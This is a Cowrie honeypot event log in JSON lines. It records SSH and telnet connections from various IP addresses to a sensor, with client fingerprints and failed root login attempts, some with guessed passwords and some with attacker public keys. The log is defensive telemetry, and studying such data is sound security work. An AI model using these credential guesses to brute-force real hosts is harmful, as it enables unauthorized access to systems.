{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:41.937431Z","src_ip":"166.1.144.134","session":"8498da5ba0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.77946424484253,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:42.321511Z","src_ip":"152.42.224.71","session":"a32e393f69aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerty","message":"login attempt [root/1234qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:42.377909Z","src_ip":"166.1.144.134","session":"8498da5ba0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:43.485624Z","src_ip":"166.1.144.134","session":"8498da5ba0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":54170,"dst_ip":"10.17.0.5","dst_port":22,"session":"59013321fa1b","protocol":"ssh","message":"New connection: 43.135.139.74:54170 (10.17.0.5:22) [session: 59013321fa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:43.642175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:43.647107Z","src_ip":"43.135.139.74","session":"59013321fa1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:43.715929Z","src_ip":"43.135.139.74","session":"59013321fa1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:44.021294Z","src_ip":"43.135.139.74","session":"59013321fa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:44.041332Z","src_ip":"119.96.193.72","session":"dbb04e458232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:45.092719Z","src_ip":"43.135.139.74","session":"59013321fa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":74.59028887748718,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:34:52.707524Z","src_ip":"152.42.224.71","session":"a348abb0d94e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.242.68","src_port":22444,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0eb133dcc0","protocol":"ssh","message":"New connection: 206.212.242.68:22444 (10.17.0.5:22) [session: 4e0eb133dcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.017118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.022170Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.035946Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:99:e6:da:ed:ab:fb:d2:b7:9e:a9:33:29:05:60:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCca23KEgCwVyNBz5j4PxAVH4Ox0QWaiEZeiZZUnp4IoOjpDp3jGGjTsKoCV/h6BotshmvVh+Kl8vs4Z06nxjs5eggeGAqUxZ818aPVGSV5/PaZ5Ro53/GN74+J741TFTp0GZDRCWqbDGDsYn+G85ny1Fhz1q5FJleVvNVh8PqoIw6FQxjI0NNvhYszq/RtOSr9aXkHlM5HQy+z+JTtDZViHp+y0qJ2F9mXCqBLsr//HzgPzy46F1dMUDRIfMcgaTIyRdKJrPJB3JTsPxv6Md0lKtRNEDZDXFdo0/AWgdfcjrHkkDoZwfRPH3g6nFfjOy17bWtP6fcKAz7JEWVdnFob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:99:e6:da:ed:ab:fb:d2:b7:9e:a9:33:29:05:60:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.077368Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:99:e6:da:ed:ab:fb:d2:b7:9e:a9:33:29:05:60:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCca23KEgCwVyNBz5j4PxAVH4Ox0QWaiEZeiZZUnp4IoOjpDp3jGGjTsKoCV/h6BotshmvVh+Kl8vs4Z06nxjs5eggeGAqUxZ818aPVGSV5/PaZ5Ro53/GN74+J741TFTp0GZDRCWqbDGDsYn+G85ny1Fhz1q5FJleVvNVh8PqoIw6FQxjI0NNvhYszq/RtOSr9aXkHlM5HQy+z+JTtDZViHp+y0qJ2F9mXCqBLsr//HzgPzy46F1dMUDRIfMcgaTIyRdKJrPJB3JTsPxv6Md0lKtRNEDZDXFdo0/AWgdfcjrHkkDoZwfRPH3g6nFfjOy17bWtP6fcKAz7JEWVdnFob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.081814Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:7f:67:48:0b:a0:f1:17:52:39:a6:86:27:c7:cc:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSRFZ7xb9juws2djmtKArcR4GvdujuJZ6q8xVFPyYG98+8mflM6zSyaPbT1QPqOMicZx+27p0rYOOVNNhBzRHW7Nw+u/Pq7vL69pDiqsCtAR+WJnaAkpOAVCfnZZKQwiRIrwUzQz/dhnsfKCjgAhH+8rW1BVglhgnU4dhK0lSRaJekSGBfAbNQNVo+TtyHXQgVlsDCV7DHq6/OAhIYKcvvMJorceObKSXb5hEgB1Qfk56mIm508wOBZOJQNEqBWzmbSZ+NaW8L7t+dZ0OHODLX1fJGuPx7dPqJtHhpC/s5hYgP2DFvkut0hI8Ksj4NWAsgxE8vh3qI4sp6YWppIf67","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:7f:67:48:0b:a0:f1:17:52:39:a6:86:27:c7:cc:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.097804Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:7f:67:48:0b:a0:f1:17:52:39:a6:86:27:c7:cc:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSRFZ7xb9juws2djmtKArcR4GvdujuJZ6q8xVFPyYG98+8mflM6zSyaPbT1QPqOMicZx+27p0rYOOVNNhBzRHW7Nw+u/Pq7vL69pDiqsCtAR+WJnaAkpOAVCfnZZKQwiRIrwUzQz/dhnsfKCjgAhH+8rW1BVglhgnU4dhK0lSRaJekSGBfAbNQNVo+TtyHXQgVlsDCV7DHq6/OAhIYKcvvMJorceObKSXb5hEgB1Qfk56mIm508wOBZOJQNEqBWzmbSZ+NaW8L7t+dZ0OHODLX1fJGuPx7dPqJtHhpC/s5hYgP2DFvkut0hI8Ksj4NWAsgxE8vh3qI4sp6YWppIf67","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.102794Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:c0:99:66:20:c4:4d:40:dd:25:09:d5:e6:9e:1b:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM+cMbIJV+Li3Q9WJ4cCU3tdiwTWXTLk61f2ng7IgpMm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 68:c0:99:66:20:c4:4d:40:dd:25:09:d5:e6:9e:1b:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.118514Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:c0:99:66:20:c4:4d:40:dd:25:09:d5:e6:9e:1b:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM+cMbIJV+Li3Q9WJ4cCU3tdiwTWXTLk61f2ng7IgpMm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.122955Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:61:f2:2a:37:f6:69:ac:10:ac:fe:55:25:1d:f3:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCYMvPI6rgpLD9nT5zYO5lfVrzuNIQRCdejW0srfA0Zdh9CHNZ/XIgqLVMyiMI7u6pxX/5X4YqeufTqEGD06KnknxcHMH3qYQd/Jq4tDLx/F0vjSrbzCCjw0CnSsn9Lq78izKFWA8Y2W1fBbfCUQ3x2VkmhSzQ7cuZwMTKg39OLPnrV8FTuwRfxlFNxqmG3Cky2+JWCYFzkGeCicvRSWraPIb52tW+iTcy8AFazMKPwMswEvvAtEwOWJwy7fJsmf5573m9Cm+mgWDUZHuxNDhRagcqRq+/Wx45GiPE40NV9fHLMxFUSzO/rlhWFRy42I2DIkhloHcUS9bqKLaYYX3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:61:f2:2a:37:f6:69:ac:10:ac:fe:55:25:1d:f3:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.137666Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:61:f2:2a:37:f6:69:ac:10:ac:fe:55:25:1d:f3:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCYMvPI6rgpLD9nT5zYO5lfVrzuNIQRCdejW0srfA0Zdh9CHNZ/XIgqLVMyiMI7u6pxX/5X4YqeufTqEGD06KnknxcHMH3qYQd/Jq4tDLx/F0vjSrbzCCjw0CnSsn9Lq78izKFWA8Y2W1fBbfCUQ3x2VkmhSzQ7cuZwMTKg39OLPnrV8FTuwRfxlFNxqmG3Cky2+JWCYFzkGeCicvRSWraPIb52tW+iTcy8AFazMKPwMswEvvAtEwOWJwy7fJsmf5573m9Cm+mgWDUZHuxNDhRagcqRq+/Wx45GiPE40NV9fHLMxFUSzO/rlhWFRy42I2DIkhloHcUS9bqKLaYYX3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.141605Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:36:e6:af:1d:1e:92:59:ef:5d:db:1f:a3:47:89:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnLdz+DLBHu0QIbmBOSlTT2MTBEYiVxzDlvJy4QdV1tK36ITsWQ597KZUXz52qIDim2wS+vNOL17ljHGwKKsfg/+49q7KD5fI7BknJmD1GjmlpgPXJfjebCTBt3RqYpAjC7FKTV6zu+yWVXtAaUAIhlixa/gU1BeFq100NYKnf8QMJyh1dP7227BPL3qAOGqaI0XU1NLsmU7e2RQJROq9xAhQ/8NcnSBXsFzob8DGWf9Sg4sBAC59PfzCHxwpO07LDpEK4GC0ZRGtGPSMX/xcBFB5C6RoKued2EqwHJ6ZpG3tnbaxRGJ3VCDfRQiR6HkPTh97NQc6i2meYb7UnUGOz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:36:e6:af:1d:1e:92:59:ef:5d:db:1f:a3:47:89:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.156056Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:36:e6:af:1d:1e:92:59:ef:5d:db:1f:a3:47:89:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnLdz+DLBHu0QIbmBOSlTT2MTBEYiVxzDlvJy4QdV1tK36ITsWQ597KZUXz52qIDim2wS+vNOL17ljHGwKKsfg/+49q7KD5fI7BknJmD1GjmlpgPXJfjebCTBt3RqYpAjC7FKTV6zu+yWVXtAaUAIhlixa/gU1BeFq100NYKnf8QMJyh1dP7227BPL3qAOGqaI0XU1NLsmU7e2RQJROq9xAhQ/8NcnSBXsFzob8DGWf9Sg4sBAC59PfzCHxwpO07LDpEK4GC0ZRGtGPSMX/xcBFB5C6RoKued2EqwHJ6ZpG3tnbaxRGJ3VCDfRQiR6HkPTh97NQc6i2meYb7UnUGOz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.159751Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:01.174984Z","src_ip":"206.212.242.68","session":"4e0eb133dcc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":47912,"dst_ip":"10.17.0.5","dst_port":22,"session":"41348aa9aa3c","protocol":"ssh","message":"New connection: 165.154.6.86:47912 (10.17.0.5:22) [session: 41348aa9aa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:02.990592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:02.996011Z","src_ip":"165.154.6.86","session":"41348aa9aa3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:03.211204Z","src_ip":"165.154.6.86","session":"41348aa9aa3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:04.100859Z","src_ip":"165.154.6.86","session":"41348aa9aa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:05.322022Z","src_ip":"165.154.6.86","session":"41348aa9aa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83670496940613,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:07.615242Z","src_ip":"152.42.224.71","session":"db4595453fe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e940e0b1c23","protocol":"telnet","message":"New connection: 152.42.224.71:37442 (10.17.0.5:23) [session: 6e940e0b1c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:12.719638Z"}
{"eventid":"cowrie.session.closed","duration":87.40472912788391,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:13.640821Z","src_ip":"152.42.224.71","session":"ca04d7e8c36e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.686591386795044,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:14.133356Z","src_ip":"152.42.224.71","session":"8b33cbe88c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":10676,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10cb2415626","protocol":"ssh","message":"New connection: 165.154.227.158:10676 (10.17.0.5:22) [session: d10cb2415626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:18.985913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:18.991250Z","src_ip":"165.154.227.158","session":"d10cb2415626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:19.205366Z","src_ip":"165.154.227.158","session":"d10cb2415626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.112826347351074,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:20.037400Z","src_ip":"152.42.224.71","session":"27dea432dc6d","protocol":"telnet"}
